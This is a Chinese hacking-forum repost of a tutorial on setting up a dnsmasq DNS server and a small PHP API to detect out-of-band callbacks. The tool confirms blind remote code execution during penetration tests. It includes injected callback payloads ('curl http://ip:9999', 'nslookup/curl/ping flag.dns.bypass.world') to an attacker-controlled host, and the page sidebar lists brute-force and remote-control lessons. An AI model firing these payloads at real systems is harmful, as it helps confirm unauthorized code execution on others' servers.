HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: EvilGod
查看: 229|回复: 0

more +随机图赏Gallery

社工库查询工具1.1修改版社工库查询工具1.1修改版
可以手机远程控制电脑,手机远程控制手机的超强工具!可以手机远程控制电脑,手机远程控制手机的超强工具!
简单---两步--进暗网--更新之前的简单---两步--进暗网--更新之前的
2017年中旬WEB渗透系列课程-00前言2017年中旬WEB渗透系列课程-00前言
2017年中旬WEB渗透系列课程-25基于php参数开关的提权2017年中旬WEB渗透系列课程-25基于php参数开关的提权
2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
御剑后台扫描--自带10多兆后台数据库御剑后台扫描--自带10多兆后台数据库
国内高手浅蓝渗透视频,值得一看。国内高手浅蓝渗透视频,值得一看。
【重要公告】2017年中工作进展及最新课程发布【重要公告】2017年中工作进展及最新课程发布
二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆二期公开课第6节-Linux下的爆破工具+爆破指定IP远程登陆

DNS Monitor 环境搭建(一)

[复制链接]
EvilGod 发表于 2018-1-8 16:57:46 | 显示全部楼层 |阅读模式
查看: 229|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
作者:znn
原文地址:https://secvul.com/topics/979.html





0x00 引子相信很多人在测试漏洞的时候都遇到过这样一个问题,那就是遇到一个RCE无回显的情况下怎么判断命令是否执行(比如最近的WebLogic漏洞CVE-2017-10271)。当然这个问题很好解决,只需要 python -m SimpleHTTPServer 9999 这样就轻松在9999端口起一个Web服务器,再将漏洞执行代码换成 curl http://ip:9999 即可。这种方法在实际应用中存在几个问题,比如:
  • 无法自动化判断
    批量的情况下不适用
    不利于后续扩展
    阉割版linux不存在curl等测试命令
针对以上几个问题,最好的选择是DNS Monitor。其实 ceye.io 这种平台就是为了解决这一问题产生的。但是考虑到渗透测试的隐私性,还是决定自己搭建一套环境。
0x01 配置DNS解析本来用的是国内某DNS提供商进行解析,发现不支持添加NS记录,于是换到 www.cloudflare.com. 仅为测试用,后续会撤掉,解析条目如下:
  1. Type    Name                   Value
  2. A       ns.bypass.world        119.23.236.88
  3. NS      dns.bypass.world       ns.bypass.world
复制代码
DNS原理和解析规则这里不再多说。

0x02 搭建DNS服务器这里选择用Dnsmasq搭建DNS服务器,Ubuntu上安装很简单:
  1. apt-get install dnsmasq
复制代码
修改配置文件 /etc/dnsmasq.conf :
  1. cat /etc/dnsmasq.conf | grep -v "#" | sort | uniq
  2. addn-hosts=/etc/hosts.dnsmasq
  3. address=/.dns.bypass.world/127.0.0.1
  4. filterwin2k
  5. interface=eth0
  6. log-facility=/var/log/dnsmasq.log
  7. log-queries
  8. no-hosts
  9. no-poll
  10. no-resolv
  11. resolv-file=/etc/resolv.dnsmasq.conf
复制代码
修改配置文件 /etc/default/dnsmasq :
  1. cat /etc/default/dnsmasq
  2. CONFIG_DIR=/etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new
  3. ENABLED=1
复制代码
添加配置文件 /etc/resolv.dnsmasq.conf :
  1. cat /etc/resolv.dnsmasq.conf
  2. nameserver 8.8.8.8
  3. nameserver 8.8.4.4
复制代码
添加配置文件 /etc/hosts.dnsmasq :
  1. cat /etc/hosts.dnsmasq
  2. #127.0.0.1 localhost
复制代码

注意:以上配置仅为 DNS Monitor 功能服务,其中 no-resolv 关闭了对上游dns递归,防止恶意DNS请求消耗服务器性能,仅添加一条泛解析 address=/.dns.bypass.world/127.0.0.1, 单个域名解析也可以在 /etc/hosts.dnsmasq 中添加。
0x03 运行测试配置文件修改完成后,重启dnsmasq服务,并监控dnsmasq日志:
  1. service dnsmasq restart
  2. tail -f /var/log/dnsmasq.log
复制代码
Payload 示例:
  1. nslookup flag.dns.bypass.world
  2. curl flag.dns.bypass.world
  3. ping flag.dns.bypass.world
复制代码
执行Payload,可以看到DNS日志如下:
  1. Dec 27 14:13:09 dnsmasq[27269]: query[A] 123.dns.bypass.world from *.*.*.*
  2. Dec 27 14:13:09 dnsmasq[27269]: config 123.dns.bypass.world is 127.0.0.1
  3. Dec 27 14:13:15 dnsmasq[27269]: query[A] xxx.dns.bypass.world from *.*.*.*
  4. Dec 27 14:13:15 dnsmasq[27269]: config xxx.dns.bypass.world is 127.0.0.1
复制代码

0x04 添加Web APIPHP代码如下:
  1. <?php
  2. $flag = $_GET['flag'];
  3. if ($flag) {
  4. $str1 = $flag.".dns.bypass.world";
  5. $str2 = file_get_contents("/var/log/dnsmasq.log");
  6. if(strpos($str2, $str1) !== false) {
  7. echo "True\n";
  8. } else {
  9. echo "False\n";
  10. }
  11. } else {
  12. echo "not be bad !\n";
  13. }
复制代码

本人PHP水平一般,代码凑合看看。以上代码原理就是读取DNS日志,确定flag.dns.bypass.world是否在日志中,确定则证明代码执行成功。这样以后验证漏洞就能方便很多了。
如下测试结果:

0x05 后续不难看出,以上环节仍然存在不少问题,最大的几个坑如下:
  • 没有在互联网上找到Dnsmasq的并发性能测试的说明,无法确定其并发数。
    DNS日志文件无法定制修改其内容,Dnsmasq这块也没有详细说明。
    PHP读取日志文件再进行判断,这种手法显得很粗鄙,且消耗性能,一旦日志文件过大,后果可以想象得到。
在下篇文章中将会解决上述问题。

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2018-1-24 13:45 , Processed in 0.058264 second(s), 24 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.